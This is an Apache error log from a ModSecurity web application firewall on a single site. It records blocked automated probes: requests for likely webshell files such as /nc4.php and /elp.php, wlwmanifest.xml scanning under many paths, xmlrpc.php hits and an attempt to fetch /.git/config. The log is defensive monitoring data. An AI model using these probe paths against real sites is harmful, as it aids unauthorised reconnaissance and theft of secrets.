[Wed Jan 21 06:44:23.171644 2026] [:error] [pid 21456:tid 21532] [client 65.52.167.153:12572] [client 65.52.167.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aXAFRwKyVQ9Ob2YxRAqYJgAAAI4"]
[Wed Jan 21 06:46:32.650636 2026] [:error] [pid 21455:tid 21513] [client 43.157.191.20:60330] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXAFyIpOKALCSo1URZFWyQAAAFY"]
[Wed Jan 21 12:49:44.710285 2026] [:error] [pid 21456:tid 21542] [client 43.130.9.111:51264] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXBa6AKyVQ9Ob2YxRAr3sAAAAJg"]
[Wed Jan 21 17:26:06.467773 2026] [:error] [pid 21563:tid 21566] [client 182.40.104.255:37958] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXCbrhZq__dTorabEoxkQAAAAME"]
[Wed Jan 21 18:48:46.263967 2026] [:error] [pid 21563:tid 21577] [client 43.159.141.150:59606] [client 43.159.141.150] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXCvDhZq__dTorabEoxz7wAAAMw"]
[Wed Jan 21 20:12:53.843713 2026] [:error] [pid 59863:tid 59875] [client 35.237.247.32:57745] [client 35.237.247.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.247.32, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aXDCxbHQ1zVZ4yLuI-zOeAAAAQg"]
[Wed Jan 21 20:12:55.122117 2026] [:error] [pid 59863:tid 59870] [client 35.237.247.32:57745] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aXDCx7HQ1zVZ4yLuI-zOfgAAAQM"]
[Wed Jan 21 20:12:55.965117 2026] [:error] [pid 56352:tid 56360] [client 35.237.247.32:50302] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aXDCx9WN6wYNPTU3efUNPwAAAUY"]
[Wed Jan 21 20:12:56.866729 2026] [:error] [pid 59863:tid 59873] [client 35.237.247.32:49386] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aXDCyLHQ1zVZ4yLuI-zOgwAAAQY"]
[Wed Jan 21 20:12:57.797628 2026] [:error] [pid 21454:tid 21473] [client 35.237.247.32:62625] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aXDCyTwp5UZmMFzY2bpAZAAAAAk"]
[Wed Jan 21 20:12:58.736750 2026] [:error] [pid 4382:tid 4388] [client 35.237.247.32:49535] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aXDCypHg0falVG3JFbBLUgAAAYQ"]
[Wed Jan 21 20:12:59.760649 2026] [:error] [pid 59863:tid 59874] [client 35.237.247.32:64228] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aXDCy7HQ1zVZ4yLuI-zOiQAAAQc"]
[Wed Jan 21 20:13:00.666600 2026] [:error] [pid 21455:tid 21494] [client 35.237.247.32:50028] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aXDCzIpOKALCSo1URZEpSAAAAEM"]
[Wed Jan 21 20:13:01.685103 2026] [:error] [pid 21563:tid 21579] [client 35.237.247.32:62950] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aXDCzRZq__dTorabEoyDCAAAAM4"]
[Wed Jan 21 20:13:02.719726 2026] [:error] [pid 4382:tid 4393] [client 35.237.247.32:58706] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aXDCzpHg0falVG3JFbBLXgAAAYk"]
[Wed Jan 21 20:13:03.792727 2026] [:error] [pid 4382:tid 4387] [client 35.237.247.32:59830] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aXDCz5Hg0falVG3JFbBLXwAAAYM"]
[Wed Jan 21 20:13:04.685826 2026] [:error] [pid 56352:tid 56378] [client 35.237.247.32:56948] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aXDC0NWN6wYNPTU3efUNTQAAAVg"]
[Wed Jan 21 20:13:05.672825 2026] [:error] [pid 21454:tid 21479] [client 35.237.247.32:61417] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aXDC0Twp5UZmMFzY2bpAbwAAAA8"]
[Wed Jan 21 20:13:06.563342 2026] [:error] [pid 21563:tid 21577] [client 35.237.247.32:53848] [client 35.237.247.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aXDC0hZq__dTorabEoyDEAAAAMw"]
[Wed Jan 21 23:20:37.224800 2026] [:error] [pid 21563:tid 21570] [client 101.32.208.70:44608] [client 101.32.208.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXDuxRZq__dTorabEoyxQAAAAMU"]
[Thu Jan 22 00:27:22.438249 2026] [:error] [pid 4382:tid 4407] [client 43.157.98.187:53946] [client 43.157.98.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXD-apHg0falVG3JFbB93QAAAZc"]
[Thu Jan 22 03:19:29.481105 2026] [:error] [pid 21563:tid 21573] [client 149.102.225.177:36624] [client 149.102.225.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.102.225.177, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aXEmwRZq__dTorabEozlIAAAAMg"]
[Thu Jan 22 03:19:31.357345 2026] [:error] [pid 21563:tid 21579] [client 149.102.225.177:36624] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aXEmwxZq__dTorabEozlLAAAAM4"]
[Thu Jan 22 03:19:31.985248 2026] [:error] [pid 59863:tid 59874] [client 149.102.225.177:36640] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aXEmw7HQ1zVZ4yLuI-wlLQAAAQc"]
[Thu Jan 22 03:19:32.612990 2026] [:error] [pid 21563:tid 21580] [client 149.102.225.177:41136] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aXEmxBZq__dTorabEozlMAAAAM8"]
[Thu Jan 22 03:19:33.232735 2026] [:error] [pid 21454:tid 21488] [client 149.102.225.177:41152] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aXEmxTwp5UZmMFzY2bqjLwAAABg"]
[Thu Jan 22 03:19:33.852999 2026] [:error] [pid 4382:tid 4386] [client 149.102.225.177:41156] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aXEmxZHg0falVG3JFbCmRQAAAYI"]
[Thu Jan 22 03:19:34.473229 2026] [:error] [pid 21563:tid 21587] [client 149.102.225.177:41172] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aXEmxhZq__dTorabEozlNgAAANY"]
[Thu Jan 22 03:19:35.094648 2026] [:error] [pid 21456:tid 21542] [client 149.102.225.177:41178] [client 149.102.225.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aXEmxwKyVQ9Ob2YxRArnyAAAAJg"]
[Thu Jan 22 05:47:46.986610 2026] [:error] [pid 52556:tid 52568] [client 117.62.235.53:33713] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXFJgug4y1NKM4AgfjBqSQAAAMo"]
[Thu Jan 22 05:56:02.508631 2026] [:error] [pid 36083:tid 36096] [client 13.70.106.199:19371] [client 13.70.106.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aXFLcpCng2nQoR5iqwqp9gAAAUo"]
[Thu Jan 22 05:56:02.596453 2026] [:error] [pid 52447:tid 52521] [client 13.70.106.199:45188] [client 13.70.106.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aXFLcnRLA2NsdGqJzos8CgAAAIw"]
[Thu Jan 22 05:56:02.675053 2026] [:error] [pid 52446:tid 52488] [client 13.70.106.199:19380] [client 13.70.106.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aXFLcrJ6clMw4kdrHYFR6gAAAEY"]
[Thu Jan 22 05:56:02.746691 2026] [:error] [pid 52446:tid 52491] [client 13.70.106.199:3796] [client 13.70.106.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aXFLcrJ6clMw4kdrHYFR6wAAAEk"]
[Thu Jan 22 05:58:19.801769 2026] [:error] [pid 36083:tid 36094] [client 49.51.253.26:38020] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXFL-5Cng2nQoR5iqwqqhAAAAUg"]
[Thu Jan 22 11:47:44.669062 2026] [:error] [pid 36083:tid 36089] [client 182.44.10.67:47278] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXGd4JCng2nQoR5iqwoarAAAAUM"]
[Thu Jan 22 12:13:17.843769 2026] [:error] [pid 52445:tid 52470] [client 43.166.128.86:40780] [client 43.166.128.86] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXGj3evMmsFgpSSb5L3kIAAAABA"]
[Thu Jan 22 13:30:17.333470 2026] [:error] [pid 52447:tid 52527] [client 43.167.236.228:46740] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXG16XRLA2NsdGqJzovrpQAAAJI"]
[Thu Jan 22 17:59:21.656093 2026] [:error] [pid 52445:tid 52458] [client 182.42.104.32:60944] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXH0-evMmsFgpSSb5L1HfwAAAAQ"]
[Thu Jan 22 18:23:03.879317 2026] [:error] [pid 20418:tid 20433] [client 101.32.52.164:57232] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXH6hxahoKEa6eS4cSph9QAAAYs"]
[Thu Jan 22 22:32:58.763847 2026] [proxy_fcgi:error] [pid 52445:tid 52478] [client 95.216.63.67:52672] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Thu Jan 22 23:34:53.252923 2026] [:error] [pid 52446:tid 52504] [client 95.216.63.67:53521] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/woocommerce-payments/readme.txt"] [unique_id "aXJDnbJ6clMw4kdrHYE8VwAAAFY"], referer: www.google.com
[Thu Jan 22 23:45:34.689121 2026] [:error] [pid 27550:tid 27564] [client 95.216.63.67:62409] [client 95.216.63.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aXJGHuOQDPzfV5R2LYRpUwAAAQw"], referer: www.google.com
[Fri Jan 23 01:42:07.557300 2026] [:error] [pid 34321:tid 34333] [client 34.50.190.13:60170] [client 34.50.190.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXJhbxLMkukwqSCtKrDutwAAAck"]
[Fri Jan 23 06:06:39.756123 2026] [:error] [pid 11607:tid 11663] [client 4.194.24.19:14112] [client 4.194.24.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXKfbwucTAUsUUzKw5ck8wAAAFI"]
[Fri Jan 23 06:06:40.113387 2026] [:error] [pid 11608:tid 11696] [client 4.194.24.19:14133] [client 4.194.24.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXKfcL4alK6RZLlMctp6NQAAAJg"]
[Fri Jan 23 06:06:40.465608 2026] [:error] [pid 11732:tid 11752] [client 4.194.24.19:12487] [client 4.194.24.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXKfcOfd54xxq04JKuNkBwAAANI"]
[Fri Jan 23 06:06:40.829662 2026] [:error] [pid 11732:tid 11740] [client 4.194.24.19:14101] [client 4.194.24.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aXKfcOfd54xxq04JKuNkCQAAAMY"]
[Fri Jan 23 12:30:56.134120 2026] [:error] [pid 64230:tid 64238] [client 182.44.10.67:49946] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXL5gK2JXmVjD91caKJNTwAAAUU"]
